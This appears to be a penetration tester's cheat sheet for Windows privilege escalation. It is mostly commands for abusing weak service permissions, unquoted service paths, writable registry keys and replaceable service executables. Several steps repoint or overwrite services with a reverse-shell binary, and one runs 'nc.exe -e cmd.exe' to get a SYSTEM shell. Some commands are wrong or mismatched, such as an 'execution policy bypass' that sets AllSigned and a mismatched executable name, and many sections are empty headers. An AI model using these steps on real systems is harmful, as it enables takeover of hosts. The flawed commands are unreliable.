Windows PrivEsc

METHODOLOGY:

https://lolbas-project.github.io/#

POWERSHELL:

#Check execution policy
Get-ExecutionPolicy -List
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope CurrentUser

#Set execution policy
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope CurrentUser
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

#Execution policy bypass
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope CurrentUser

PERMISSIONS:

.\accesschk.exe /accepteula Seatbelt.exe
icacls Seatbelt.exe

SERVICE EXPLOITS

INSECURE SERVICE PERMISSIONS
#Useful Permissions (SERVICE STOP, SERVICE START)
#Dangerous Permissions (SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS)
#Run winPEAS and check under "Service Information"
#Run PowerUp and check "Checking service permissions"
#Check if you can "MODIFY" any service. Confirm it from the "Modifiable Services" section below it.
#Verify the permissions using "accesschk". We need to have START, STOP, SERVICE_CHANGE_CONFIG
accesschk.exe /accepteula -uwcqv <user> <service>
accesschk.exe -ucqv <service>
#Query the service configuration. Check START_TYPE(DEMAND), BINARY_PATH_NAME, DEPENDENCIES, SERVICE_START_NAME
sc qc <service>
#Check current state of the service
sc query <service>
#Set binary path to reverse shell payload
sc config <service> binpath= "\"C:\PrivEsc\reverse.exe\""
#OR
sc config <service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
#If SERVICE_START_NAME isn't LocalSystem then run the following:
sc config upnphost obj= ".\LocalSystem" password= ""
#Start a listener in Kali and then start the service to get SYSTEM shell
net start <service>

--------------------------------------------------------------------------------------

UNQUOTED SERVICE PATHS
#Run winPEAS and check "Service Information"
#Run PowerUp and check "Checking for unquoted service paths"
#Check if there is a service with unquoted service path.
#EXAMPLE: C:\Program Files\Unquoted Path Service\Common Files\unquoted.exe
#Verify the permissions using "accesschk". We need to have START, STOP permissions
accesschk.exe /accepteula -uwcqv <user> <service>
accesschk.exe -ucqv <service>
#Check WRITE permissions on each directory in existing binary path (commands commented)
accesschk.exe /accepteula -uwdq C:\
#accesschk.exe /accepteula -uwdq "C:\Program Files\"
#accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
#The current user group (mostly BUILTIN\Users) should have WRITE permissions
#This means if we create a file called Common.exe, it will get executed when the service starts
#Create a msfvenom reverse shell with name Common.exe and copy it to the path we have WRITE permissions to.
#Start a listener and start the service to get reverse shell
net start <service>

--------------------------------------------------------------------------------------

WEAK REGISTRY PERMISSIONS
#Run winPEAS and check "Check if you can modify the registry of the service"
#EXAMPLE: HKLM\SYSTEM\CurrentControlSet\services\regsvc ... Here regsvc = <service>
#Verify the permissions using Powershell or accesschk.exe
Get-Acl HKLM\SYSTEM\CurrentControlSet\services\regsvc | Format-List
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
#If NT AUTHORITY/INTERACTIVE has ALL_ACCESS, do the next step
#Check if we can START and STOP the service
accesschk.exe -ucqv <user> <service>
#View the current value in the registry entry. (ObjectName should be LocalSystem)
reg query HKLM\System\CurrentControlSet\Services\regsvc
#Overwrite the Image_Path with reverse shell executable. (This is similar to service bin_path)
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
#Start a listener on Kali ad then start the service
net start <service>

--------------------------------------------------------------------------------------

INSECURE SERVICE EXECUTABLE
#If the original service executable is modifiable by the current user then we can replace it with reverse shell
#Run winPEAS and check "Service Information"
#Run PowerUp and check "Checking service executable and argument permissions"
#Check for "File Permissions: Everyone [AllAccess]
#EXAMPLE C:\Program Files\File Permissions Service\fileperm.exe
#Verify the permissions with accesschk. We need Everyone: File All Access
accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\fileperm.exe"
#Check if we can START and STOP the service
accesschk.exe /accepteula -uvqc <service>
#Backup the original service executable
copy "C:\Program Files\File Permissions Service\fileperm.exe" C:\temp\
#Overwrite the original service executable with reverse shell
copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
#Start a listener on Kali and start the service
net start <service>

--------------------------------------------------------------------------------------

DLL HIJACKING
#Needs admin access

REGISTRY EXPLOITS

PASSWORDS

SCHEDULED TASKS

INSECURE GUI APPS

STARTUP APPS

INSTALLED APPS

HOT POTATO

TOKEN IMPERSONATION

PORT FORWARDING

Last updated

Was this helpful?